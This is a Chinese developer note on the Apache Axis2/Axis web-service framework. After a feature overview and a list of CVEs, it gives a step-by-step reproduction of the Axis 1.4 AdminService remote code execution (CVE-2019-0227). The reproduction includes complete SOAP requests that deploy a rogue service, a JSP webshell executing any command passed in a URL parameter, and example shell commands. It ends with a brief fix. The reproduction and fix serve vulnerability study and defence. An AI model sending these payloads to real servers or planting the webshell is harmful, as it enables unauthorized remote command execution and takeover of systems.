开发知识点-Apache Axis2框架

Apache Axis2

c 复制代码
Apache Axis2是一个开源的Web服务框架,提供了一种灵活、可扩展的方式来构建和部署Web服务。它是Apache Software Foundation(ASF)的一个顶级项目,是Apache Axis的后继版本。

Axis2的主要特点和功能包括:

1. Web服务支持:Axis2支持多种Web服务标准,包括SOAP(Simple Object Access Protocol)、WSDL(Web Services Description Language)、XML等。它可以用于开发和部署各种类型的Web服务,如基于SOAP的Web服务、RESTful风格的Web服务等。
    
2. 可扩展性和灵活性:Axis2采用了模块化的架构,使得开发者可以方便地添加、移除或替换各种功能模块,以满足不同的需求。它提供了丰富的扩展点和API,可以进行高度定制和灵活的配置。
    
3. 支持多种传输协议:Axis2支持多种传输协议,如HTTP、HTTPS、SMTP等,使得Web服务能够在不同的网络环境和协议之间进行通信。
    
4. 数据绑定和序列化:Axis2提供了数据绑定和序列化的功能,可以将Java对象与XML或其他格式之间进行转换。它支持各种数据绑定技术,如XMLBeans、JiBX等,以满足不同的需求。
    
5. 安全性支持:Axis2提供了一系列安全性功能,包括消息加密、数字签名、身份验证和授权等。它可以与各种安全框架集成,如Apache Rampart、Spring Security等,以实现更强大的安全性需求。
    
6. 工具支持:Axis2提供了丰富的工具和插件,用于辅助开发和部署Web服务。其中包括代码生成工具、调试工具、性能分析工具等,使开发者能够更高效地进行开发和调试。



https://xz.aliyun.com/t/7981

axis 1.4 AdminService未授权访问 jndi注入利用


https://mp.weixin.qq.com/s?__biz=MzAwMDQwNTE5MA==&mid=2650246193&idx=2&sn=f730600f904b7510beae16801ebdca61&chksm=82ea5798b59dde8ed8ae2090c16222304039a45c14fa3bef1ae09b4521761b10cada641c34b0&scene=27
任意文件读取漏洞的曲折历程 


https://blog.csdn.net/gmaaa123/article/details/122449013
WebService之Axis2 Log4j 2.x 漏洞

Axis  getshell
https://blog.csdn.net/weixin_44578334/article/details/112233313



Apache Axis2 XXE漏洞(CVE-2018-8032):影响范围是Axis2 1.7.7及之前版本。该漏洞的原因是Axis2在处理XML输入时没有正确地限制外部实体的解析,攻击者可以通过构造特殊的XML文档,导致信息泄露或拒绝服务 。
Apache Axis2反序列化漏洞(CVE-2010-1632):影响范围是Axis2 1.5.1及之前版本。该漏洞的原因是Axis2在处理SOAP消息时没有正确地验证输入,攻击者可以通过发送包含恶意对象的SOAP消息,触发反序列化漏洞,执行任意代码 。

CVE-2019-0227

css 复制代码
E:\hack\exp\Axis-1.4-RCE-Poc-master




Apache Axis远程代码执行漏洞(CVE-2019-0227)
影响范围是Axis <= 1.4版本,
并且enableRemoteAdmin设置为True。

该漏洞的原因是Axis允许远程访问AdminService服务,
攻击者可以通过发送恶意的HTTP-POST请求,部署一个自定义的WebService,从而实现写文件或执行命令等操作

管理员对AdminService的配置错误。
当enableRemoteAdmin属性设置为true时,
攻击者可以构造WebService调用freemarker组件中的template.utility.Execute类,
远程利用AdminService接口进行WebService发布,再次访问生成的WebService接口,传入要执行的命令,
就可以进行远程命令执行漏洞的利用。 


https://mirrors.tuna.tsinghua.edu.cn/apache/axis/axis/java/1.4/axis-bin-1_4.tar.gz
下载的axis-bin-1_4.tar.gz压缩包中的webapps目录下的axis目录

拷贝到tomcat的webapps目录下


https://mvnrepository.com/search?q=freemarker-2.3.28.jar

下载的freemarker-2.3.28.jar放在axis/WEB-INF/lib目录下

启动tomcat后访问http://localhost:8080/axis

`

`

css 复制代码
需要WEB-INF/web.xml 去掉AdminServlet注释

远程访问复现需要开启服务访问一下,会在WEB-INF下面生成一个server-config.wsdd

![在这里插入图片描述](https://img-blog.csdnimg.cn/direct/783494c3937b4adc8af666b37892de09.png)

css 复制代码
需要将文件修改enableRemoteAdmin将false改为true

`

`

css 复制代码
这样允许远程admin服务

最后重启tomcat

`

漏洞复现

css 复制代码
手工写入shell

通过services/AdminService 服务部署一个webservice

webservice开启一个写文件服务。
写入的文件路径是.../webapps/ROOT/shell.jsp,
注意写入shell位置,也可以修改比如manager,建议在ROOT下
服务模块的工作路径是bin目录,这里利用相对路径写入ROOT目录,

我们默认IP+port访问的就是ROOT目录,也就是tomcat默认根目录。

`

c 复制代码
 POST /axis/services/AdminService HTTP/1.1
Host: 192.168.0.104:8080
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3494.0 Safari/537.36
SOAPAction: something
Upgrade-Insecure-Requests: 1
Content-Type: application/xml
Accept-Encoding: gzip, deflate
Content-Length: 1061

<?xml version="1.0" encoding="utf-8"?>
<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
        xmlns:api="http://127.0.0.1/Integrics/Enswitch/API"
        xmlns:xsd="http://www.w3.org/2001/XMLSchema"
        xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
  <soapenv:Body>
    <ns1:deployment
  xmlns="http://xml.apache.org/axis/wsdd/"
  xmlns:java="http://xml.apache.org/axis/wsdd/providers/java"
  xmlns:ns1="http://xml.apache.org/axis/wsdd/">
  <ns1:service name="RandomService" provider="java:RPC">
    <requestFlow>
      <handler type="RandomLog"/>
    </requestFlow>
    <ns1:parameter name="className" value="java.util.Random"/>
    <ns1:parameter name="allowedMethods" value="*"/>
  </ns1:service>
  <handler name="RandomLog" type="java:org.apache.axis.handlers.LogHandler" >  
    <parameter name="LogHandler.fileName" value="../webapps/ROOT/shell.jsp" />   
    <parameter name="LogHandler.writeToConsole" value="false" /> 
  </handler>
</ns1:deployment>
  </soapenv:Body>
</soapenv:Envelope>


调用上一步创建的恶意webservice 写入webshell


POST /axis/services/RandomService HTTP/1.1
Host: 192.168.0.104:8080
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3494.0 Safari/537.36
Accept-Language: en-US,en;q=0.5
SOAPAction: something
Upgrade-Insecure-Requests: 1
Content-Type: application/xml
Accept-Encoding: gzip, deflate
Content-Length: 876

<?xml version="1.0" encoding="utf-8"?>
        <soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
        xmlns:api="http://127.0.0.1/Integrics/Enswitch/API"
        xmlns:xsd="http://www.w3.org/2001/XMLSchema"
        xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
        <soapenv:Body>
        <api:main
        soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
            <api:in0><![CDATA[
<%@page import="java.util.*,java.io.*"%><% if (request.getParameter("c") != null) { Process p = Runtime.getRuntime().exec(request.getParameter("c")); DataInputStream dis = new DataInputStream(p.getInputStream()); String disr = dis.readLine(); while ( disr != null ) { out.println(disr); disr = dis.readLine(); }; p.destroy(); }%>
]]>
            </api:in0>
        </api:main>
  </soapenv:Body>
</soapenv:Envelope>



返回时500没关系,我们查看一下ROOT下面是否写入shell文件


c 复制代码
ROOT目录下shell文件,有一些Java的类异常报错,因为是log模式。

核心还是写的CMD码

访问一下shell

http://192.168.0.104:8080/shell.jsp

执行一下命令

http://192.168.0.104:8080/shell.jsp?c=ifconfig可以获取系统的信息但是看起来不怎么直观


检查代码

poc脚本写入shell

python Axis1.4_rce_poc.py http://192.168.0.104:8080/axis/

访问shell路径:http://192.168.0.104:8080/axis/.../shell.jsp


http://192.168.0.104:8080/shell.jsp?c=id

漏洞修复

css 复制代码
关闭admin服务即可,具体方法注释掉web-inf/web.xml 里的AdminServlet,然后重启tomcat.

<servlet-mapping>
    <servlet-name>AdminServlet</servlet-name>
    <url-pattern>/servlet/AdminServlet</url-pattern>
  </servlet-mapping> 


参考:
https://www.secpulse.com/archives/108937.html
 
https://github.com/ShimizuKawasaki/Axis-1.4-RCE-Poc 

E:\hack\exp\Axis-1.4-RCE-Poc-master

`

相关推荐
麦兜*29 分钟前
深入解析云原生时代的高性能消息中间件:基于Apache Pulsar与Kafka架构对比的万亿级数据吞吐与低延迟实时处理实战
云原生·kafka·apache
SelectDB技术团队31 分钟前
上市大模型企业数据基础设施的选择:MiniMax 基于阿里云 SelectDB 版,打造全球统一AI可观测中台
数据库·数据仓库·人工智能·ai·apache
DolphinScheduler社区1 小时前
Linux 环境下,Apache DolphinScheduler 如何驱动 Flink 消费 Kafka 数据?
linux·flink·kafka·开源·apache·海豚调度·大数据工作流调度
DolphinScheduler社区2 小时前
深度探秘 Apache DolphinScheduler 数据库模式
数据库·开源·apache·开源社区·海豚调度·大数据工作流调度
zhangkaixuan45612 小时前
Paimon 读取数据流程深度解析
大数据·hadoop·flink·apache·paimon
zhangkaixuan45620 小时前
paimon 主键表 vs 非主键表配置速查
大数据·数据库·flink·apache·paimon
wasp5201 天前
拒绝 OOM:Apache Fesod 高性能 Excel 处理架构全景解析
算法·架构·apache·excel
还在忙碌的吴小二1 天前
Apache SkyWalking 完整使用手册
apache·skywalking
前端玖耀里2 天前
Spring Boot 3 集成 Apache Calcite:多数据源查询的终极解决方案
spring boot·后端·apache
你才是臭弟弟4 天前
Apache Flink+Apache Iceberg(协作关系)
大数据·flink·apache